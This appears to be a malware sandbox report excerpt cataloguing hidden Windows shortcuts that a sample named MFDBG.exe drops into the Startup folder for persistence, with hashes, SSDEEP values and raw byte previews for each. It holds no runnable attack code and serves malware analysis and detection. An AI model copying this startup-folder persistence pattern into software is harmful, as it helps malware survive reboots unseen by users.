Preview:	L..................F...."...]W%.{....]..\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....0w.\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c3082c993133418db6a8c1feea72ff60.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:39 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.932580946347355
Encrypted:	false
SSDEEP:	24:868hBfR8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:86O+0R6rMhpBoUBxdRd1nYyg
MD5:	6F8A07EEA8788BDA9921148A74E93FE3
SHA1:	B97C7BCE567E29A66DD82AACEE9E625575CB7909
SHA-256:	DD01A8857712BB1370AAE015487E80C7D56A90717628949C0D6E71EC9CAA10BF
SHA-512:	84CD5CAFDFA2EB0F9478019C1D19B69D434F6A44B5D972B9A479A15E4EDBF04B883FD7FA11C195DCCA1B5C757164CF154C4E0A4362CCABF81F606167451452F2
Malicious:	false
Preview:	L..................F...."...]W%.{...Npo.\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....]\.\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c342f47409694bfaa385595d164d8103.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:10 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.944141535243504
Encrypted:	false
SSDEEP:	24:8ghBfD8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8yI0R6rMhpBoUBxdRd1nYyg
MD5:	5311033783FFB59DD9F62046BE9F8020
SHA1:	AE38FA835328851E2984164FE3F8E75BBE3FE900
SHA-256:	7AA622830A31316B91B7BF0F71C19240943C6BB01740FF35892266D5BAE24BF4
SHA-512:	C2A328735FA4A79F1FC9174126279278AD50497EFC95BC589FCBF5C22A4C6C9EEE6DD5F9C4C5B8B2CA19C30D00FFAC325CD986A7647ED538BCED364A5DEBE6D5
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....a.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c34ec169bdf7478c9a2ffdf43b5b5764.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:51 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.934901463848777
Encrypted:	false
SSDEEP:	24:8SxhBfw8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8SB90R6rMhpBoUBxdRd1nYyg
MD5:	FC32D13EF5020C15C48CC1A93EFB2088
SHA1:	8D38E5F919BF8D30F2F4471374957AEF2797949D
SHA-256:	09F198843F6B6990B73ECBC795ABF3C3ADC43EC3FD6D615D139414F96026FF2A
SHA-512:	493078E765CCC8BA85B879AFDB7CAF21B5524CBAAF6D66930F677DBCF55E74F94915F0493784D9BB2505B6632B84A709F45ABF6BA0086A5A3F2C7AC7A25A6510
Malicious:	false
Preview:	L..................F...."...]W%.{.....g.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....Vc.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c3598ef0ccf74439831c1343e28277dd.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:47 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.938499572253277
Encrypted:	false
SSDEEP:	24:8JhBfO8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8J70R6rMhpBoUBxdRd1nYyg
MD5:	2ACD053FA0050FAA847F56128CC24E30
SHA1:	1564CE7F161DB1F0704EEAA8D8AE6045A63E4949
SHA-256:	3B938C0605CA777D93D9D29461B83B0F1D4A190E8C37D5494A9C92AFA4B6395E
SHA-512:	95736B5A8F0A141DD0F7EF1FD6439A8856FFD72478FAB0A47D85563E860129F807818A124B61CE8992AAE23CA6E5323143D48FB6EDB2D54C55DBB0E17C28A836
Malicious:	false
Preview:	L..................F...."...]W%.{...._t.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...<.c.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c3dfdef25250423380341d7d1b97d247.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:44 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.935057799642913
Encrypted:	false
SSDEEP:	24:8phBfI8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8pV0R6rMhpBoUBxdRd1nYyg
MD5:	3FA65A077BDC68F1ED12F13293D3E778
SHA1:	1FB2BA5E33FCBB4502CC1202A8B6C6A56D3674EA
SHA-256:	DDB71EC0A24879E0104EB8197C90A3EA51586F5F737FF0E4E52DA2B9D1087067
SHA-512:	B72FE9ED594A806FDA70743274DE0E043C25596AE84C208B6D0663B8F520D599232FA1B9E059A81DED3E56A6DFC47A64943E79B8CB2B2F614DA9F1F4C1164F39
Malicious:	false
Preview:	L..................F...."...]W%.{....:.\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c47d330043334a54ab7f33e3a8e936a5.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:39 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.936868115275579
Encrypted:	false
SSDEEP:	24:8U6GhBfR8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Up+0R6rMhpBoUBxdRd1nYyg
MD5:	5878BB08BF3605857F0B752F9A0AE3C6
SHA1:	86D3366B8205610B898D6EC4705FB4E39FCB6CC5
SHA-256:	65779EB80DED72FF261F958793DE10FF0EE74D8A7023FF873AD09A6A67DCDBDE
SHA-512:	12BC37F90C20D8868BBFCCFA969FAC3CEC7347DBD33BFBEDC9970DC8246BBE0B9FD50EAC723E68A9EE75B9B06D119CD6803E7F3B3265905EBC640AF437C8B650
Malicious:	false
Preview:	L..................F...."...]W%.{...R...\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....]\.\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c517acafa21340a0b32725dcec6b4477.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:47 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.93950860047154
Encrypted:	false
SSDEEP:	24:8jhBfu8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Xr0R6rMhpBoUBxdRd1nYyg
MD5:	0BA77F45021499E803D0EF8BBE2C11F1
SHA1:	E50F20BB2295EBA9D63CB959C541E7F9626FBD34
SHA-256:	63EE002D6C164F761D1D07384AB8722429E5EE930C2138284E34408AAECDF5B8
SHA-512:	A5EF243221A09DD696BC8B18BC93C4A0B8C2736CA5053A5D7EDFA90942C3E72C452F86B69293372A0EBC9189131D90D0C382194C76E84CACA256B10137A6AE57
Malicious:	false
Preview:	L..................F...."...]W%.{...0#..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...O...{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c53a03234b394652808b5989c3f54c0a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:46 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.943609941468943
Encrypted:	false
SSDEEP:	24:8khBf48iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Gl0R6rMhpBoUBxdRd1nYyg
MD5:	C175513D4B9277918DB5057F3F2E63C1
SHA1:	923A1F602DA672AA6045F43D95829336C1E03D10
SHA-256:	292646F3C60189FEEA211817A6D33CF1D6C9A176EBCD0B52E32F6F47D76EC0E5
SHA-512:	6DAEC152B3CE98DBC0D373BFFA4FF3556202C139BA4E27D5C086EA014D83A69E28C8EFBE78550A96E9AD4FDAD26C68DE931CDADD1E8FDE9B63564C6BC18A247D
Malicious:	false
Preview:	L..................F...."...]W%.{......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....]..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c5880f24e0b7406e80953d578a4a1ae0.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:11 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.942856855149758
Encrypted:	false
SSDEEP:	24:8zhBf58iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8H20R6rMhpBoUBxdRd1nYyg
MD5:	38472AF95BBF27F068B8333FAD5C9A61
SHA1:	561B91E6D7B1F99D75659B15B11132CD01F9A0C6
SHA-256:	CBFC1F510E7DB2EAAC67FC0CF34910C5822B869B705152ACB87CB82A2BA93C72
SHA-512:	DF478229225DC585EA86979E6A84858F8EF0E60349F193C8FC8142AFB9A51E535ABA037D38999FDED730392D899AA0B9198436B4BD069A4F2BE8731EF91E5E0A
Malicious:	false
Preview:	L..................F...."...]W%.{...r$.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...._.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c58a5ea717114af1a7b07d0d1fdc8645.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:17 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.939508600471538
Encrypted:	false
SSDEEP:	24:8A1mhBfX8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8A1sU0R6rMhpBoUBxdRd1nYyg
MD5:	54427833A861492DC219A4AB1FCD12BB
SHA1:	3BEF9B521F4170E1335654D67B2C2BA6BBC015EB
SHA-256:	B6C3714251767AD141D20ABE93688B91164572557D7DEE383D46A25D4C8D1B55
SHA-512:	EB0DCD2F44EBADED0FE2D2C5DF4743AC37B638DAD5E980710B6F1D4897F8C4F27A4AD7B9F0F31FFE5FC73330CE6E8E15CD78918FEABA22C69FCDC6CE4A92B85A
Malicious:	false
Preview:	L..................F...."...]W%.{..."o..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....n.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c5924d2887fb4bd793943ed6e679b5fe.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:45 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.940085712394054
Encrypted:	false
SSDEEP:	24:8khBfw8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8G90R6rMhpBoUBxdRd1nYyg
MD5:	B2C14DE8F4C6740F554CD68D2442B855
SHA1:	08180405E493D4887634069E233A308FD172A476
SHA-256:	1720353F58A66661ECBBD13D94DAE781EE797BCA68D166C664F78550BAA2EECB
SHA-512:	F816804D828F01DBF1A48DA704C964E192478CC3914C9C4A0D0DCCCDD04F9ECA8264AB4FB3C3FBD39295FEDC5F3C3074C9BB4A3694806BE7DF0D8F8FCAE4EAE8
Malicious:	false
Preview:	L..................F...."...]W%.{.......\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c5bdfc922218435dbc3b4c6f99f65f4c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:49:59 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.933093369044885
Encrypted:	false
SSDEEP:	24:8rhBfv8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Ps0R6rMhpBoUBxdRd1nYyg
MD5:	B4361668568822B15C38B90B94432C89
SHA1:	B7860724C7050C91EAE1F1AF3E3E426939759A95
SHA-256:	CDEA636DF6A047D1A1BE9E3212BECE7F6EDEEDDE7A8A20E42772026436115C4B
SHA-512:	2ED8DA2205C4A259881CB77A9BEE103B0A67ABADD959A9E4ACD93394859D164740A62B36B03BE10BB74560EC7BE725DCDF1D558A507F983E4155F463C993B9F3
Malicious:	false
Preview:	L..................F...."...]W%.{....7).{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...N.e.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c6bfa9f00681492aa27b712b14f24156.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:52 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.943302879314231
Encrypted:	false
SSDEEP:	24:8uhBfB8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8kO0R6rMhpBoUBxdRd1nYyg
MD5:	DFE859957589174DE69E2AD7ACD51830
SHA1:	5A71B05680BB435A36B043CBFC393E7536CB7818
SHA-256:	47B78FA289964F2E3942233C050AE7FF05897CE4B7C943FC00BD23845A4D667E
SHA-512:	D08EE545BEF65B40B8F46113E6D9019C3A8893BD4688E1BD00BFFB83D52412D577ABE43AE0DC3A2ADEB066977CA0B585257F623E552772D104BD46A565772519
Malicious:	false
